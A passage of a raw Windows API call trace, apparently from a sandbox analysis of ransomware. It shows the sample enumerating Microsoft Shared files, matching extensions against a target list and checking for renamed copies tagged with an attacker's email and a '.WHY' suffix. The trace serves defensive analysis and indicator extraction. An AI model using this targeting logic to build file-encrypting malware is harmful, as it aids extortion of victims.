Shared\\ink\\ipshrv.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0224.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.968] lstrlenW (lpString=".doc") returned 4 [0224.968] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.968] lstrlenW (lpString=".docx") returned 5 [0224.968] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0224.968] lstrlenW (lpString=".pdf") returned 4 [0224.968] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.968] lstrlenW (lpString=".xls") returned 4 [0224.968] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.968] lstrlenW (lpString=".xlsx") returned 5 [0224.968] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0224.969] lstrlenW (lpString=".ppt") returned 4 [0224.969] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.969] lstrlenW (lpString=".zip") returned 4 [0224.969] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.969] lstrlenW (lpString=".rar") returned 4 [0224.969] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.969] lstrlenW (lpString=".bz2") returned 4 [0224.969] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.969] lstrlenW (lpString=".7z") returned 3 [0224.969] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.969] lstrlenW (lpString=".dbf") returned 4 [0224.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.970] lstrlenW (lpString=".1cd") returned 4 [0224.970] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.970] lstrlenW (lpString=".jpg") returned 4 [0224.970] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.970] lstrlenW (lpString=".doc") returned 4 [0224.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.970] lstrlenW (lpString=".docx") returned 5 [0224.971] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0224.971] lstrlenW (lpString=".pdf") returned 4 [0224.971] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.971] lstrlenW (lpString=".xls") returned 4 [0224.971] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.971] lstrlenW (lpString=".xlsx") returned 5 [0224.971] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0224.971] lstrlenW (lpString=".ppt") returned 4 [0224.971] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.971] lstrlenW (lpString=".zip") returned 4 [0224.971] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.971] lstrlenW (lpString=".rar") returned 4 [0224.971] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.972] lstrlenW (lpString=".bz2") returned 4 [0224.972] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.972] lstrlenW (lpString=".7z") returned 3 [0224.972] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.972] lstrlenW (lpString=".dbf") returned 4 [0224.972] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.972] lstrlenW (lpString=".1cd") returned 4 [0224.972] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0224.972] lstrlenW (lpString=".jpg") returned 4 [0224.972] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.973] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0224.973] lstrlenW (lpString="ipssrl.xml") returned 10 [0224.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0224.975] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2596) returned 1 [0224.975] CloseHandle (hObject=0x354) returned 1 [0224.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0224.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0224.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.976] lstrlenW (lpString=".doc") returned 4 [0224.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.976] lstrlenW (lpString=".docx") returned 5 [0224.976] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0224.976] lstrlenW (lpString=".pdf") returned 4 [0224.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.976] lstrlenW (lpString=".xls") returned 4 [0224.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.976] lstrlenW (lpString=".xlsx") returned 5 [0224.976] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0224.976] lstrlenW (lpString=".ppt") returned 4 [0224.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.977] lstrlenW (lpString=".zip") returned 4 [0224.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.977] lstrlenW (lpString=".rar") returned 4 [0224.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.977] lstrlenW (lpString=".bz2") returned 4 [0224.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.977] lstrlenW (lpString=".7z") returned 3 [0224.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.978] lstrlenW (lpString=".dbf") returned 4 [0224.978] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.978] lstrlenW (lpString=".1cd") returned 4 [0224.978] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.978] lstrlenW (lpString=".jpg") returned 4 [0224.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.979] lstrlenW (lpString=".doc") returned 4 [0224.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.979] lstrlenW (lpString=".docx") returned 5 [0224.979] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0224.979] lstrlenW (lpString=".pdf") returned 4 [0224.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.979] lstrlenW (lpString=".xls") returned 4 [0224.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.979] lstrlenW (lpString=".xlsx") returned 5 [0224.979] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0224.979] lstrlenW (lpString=".ppt") returned 4 [0224.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.979] lstrlenW (lpString=".zip") returned 4 [0224.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.980] lstrlenW (lpString=".rar") returned 4 [0224.980] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.980] lstrlenW (lpString=".bz2") returned 4 [0224.980] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.980] lstrlenW (lpString=".7z") returned 3 [0224.980] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.980] lstrlenW (lpString=".dbf") returned 4 [0224.980] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.980] lstrlenW (lpString=".1cd") returned 4 [0224.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0224.981] lstrlenW (lpString=".jpg") returned 4 [0224.981] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.981] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0224.982] lstrlenW (lpString="ipssve.xml") returned 10 [0224.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0224.982] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2520) returned 1 [0224.982] CloseHandle (hObject=0x354) returned 1 [0224.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0224.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0224.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.983] lstrlenW (lpString=".doc") returned 4 [0224.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.983] lstrlenW (lpString=".docx") returned 5 [0224.983] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.983] lstrlenW (lpString=".pdf") returned 4 [0224.984] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.984] lstrlenW (lpString=".xls") returned 4 [0224.984] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.984] lstrlenW (lpString=".xlsx") returned 5 [0224.984] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.984] lstrlenW (lpString=".ppt") returned 4 [0224.984] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.984] lstrlenW (lpString=".zip") returned 4 [0224.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.984] lstrlenW (lpString=".rar") returned 4 [0224.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.984] lstrlenW (lpString=".bz2") returned 4 [0224.985] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.985] lstrlenW (lpString=".7z") returned 3 [0224.985] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.985] lstrlenW (lpString=".dbf") returned 4 [0224.985] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.985] lstrlenW (lpString=".1cd") returned 4 [0224.985] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.985] lstrlenW (lpString=".jpg") returned 4 [0224.985] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.986] lstrlenW (lpString=".doc") returned 4 [0224.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.986] lstrlenW (lpString=".docx") returned 5 [0224.986] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.986] lstrlenW (lpString=".pdf") returned 4 [0224.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.986] lstrlenW (lpString=".xls") returned 4 [0224.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.987] lstrlenW (lpString=".xlsx") returned 5 [0224.987] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.987] lstrlenW (lpString=".ppt") returned 4 [0224.987] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.987] lstrlenW (lpString=".zip") returned 4 [0224.987] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.987] lstrlenW (lpString=".rar") returned 4 [0224.987] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.987] lstrlenW (lpString=".bz2") returned 4 [0224.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.987] lstrlenW (lpString=".7z") returned 3 [0224.987] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.988] lstrlenW (lpString=".dbf") returned 4 [0224.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.988] lstrlenW (lpString=".1cd") returned 4 [0224.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0224.988] lstrlenW (lpString=".jpg") returned 4 [0224.988] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.989] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0224.989] lstrlenW (lpString="PSS10O.CHM") returned 10 [0224.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0224.994] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=26929) returned 1 [0224.994] CloseHandle (hObject=0x354) returned 1 [0224.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0224.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0x20 [0224.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.995] lstrlenW (lpString=".doc") returned 4 [0224.995] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0224.995] lstrlenW (lpString=".docx") returned 5 [0224.995] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0224.995] lstrlenW (lpString=".pdf") returned 4 [0224.995] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0224.995] lstrlenW (lpString=".xls") returned 4 [0224.995] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0224.995] lstrlenW (lpString=".xlsx") returned 5 [0224.996] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0224.996] lstrlenW (lpString=".ppt") returned 4 [0224.996] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0224.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.996] lstrlenW (lpString=".zip") returned 4 [0224.996] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0224.996] lstrlenW (lpString=".rar") returned 4 [0224.996] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0224.996] lstrlenW (lpString=".bz2") returned 4 [0224.996] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0224.996] lstrlenW (lpString=".7z") returned 3 [0224.996] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0224.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.997] lstrlenW (lpString=".dbf") returned 4 [0224.997] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0224.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.997] lstrlenW (lpString=".1cd") returned 4 [0224.997] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0224.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.997] lstrlenW (lpString=".jpg") returned 4 [0224.997] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0224.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.998] lstrlenW (lpString=".doc") returned 4 [0224.998] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0224.998] lstrlenW (lpString=".docx") returned 5 [0224.998] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0224.998] lstrlenW (lpString=".pdf") returned 4 [0224.998] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0224.998] lstrlenW (lpString=".xls") returned 4 [0224.998] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0224.998] lstrlenW (lpString=".xlsx") returned 5 [0224.998] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0224.998] lstrlenW (lpString=".ppt") returned 4 [0224.999] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0224.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.999] lstrlenW (lpString=".zip") returned 4 [0224.999] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0224.999] lstrlenW (lpString=".rar") returned 4 [0224.999] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0224.999] lstrlenW (lpString=".bz2") returned 4 [0224.999] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0224.999] lstrlenW (lpString=".7z") returned 3 [0224.999] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0224.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0224.999] lstrlenW (lpString=".dbf") returned 4 [0225.000] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0225.000] lstrlenW (lpString=".1cd") returned 4 [0225.000] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0225.000] lstrlenW (lpString=".jpg") returned 4 [0225.000] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.000] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0225.001] lstrlenW (lpString="PSS10R.CHM") returned 10 [0225.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.886] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=27195) returned 1 [0225.886] CloseHandle (hObject=0x320) returned 1 [0225.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0225.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.888] lstrlenW (lpString=".doc") returned 4 [0225.888] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.888] lstrlenW (lpString=".docx") returned 5 [0225.888] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0225.888] lstrlenW (lpString=".pdf") returned 4 [0225.888] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.888] lstrlenW (lpString=".xls") returned 4 [0225.888] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.888] lstrlenW (lpString=".xlsx") returned 5 [0225.888] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0225.888] lstrlenW (lpString=".ppt") returned 4 [0225.889] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.889] lstrlenW (lpString=".zip") returned 4 [0225.889] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.889] lstrlenW (lpString=".rar") returned 4 [0225.889] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.889] lstrlenW (lpString=".bz2") returned 4 [0225.889] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.889] lstrlenW (lpString=".7z") returned 3 [0225.889] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.889] lstrlenW (lpString=".dbf") returned 4 [0225.890] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.890] lstrlenW (lpString=".1cd") returned 4 [0225.890] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0225.890] lstrlenW (lpString=".jpg") returned 4 [0225.890] lstrcmpiW (lpString1=".jpg", 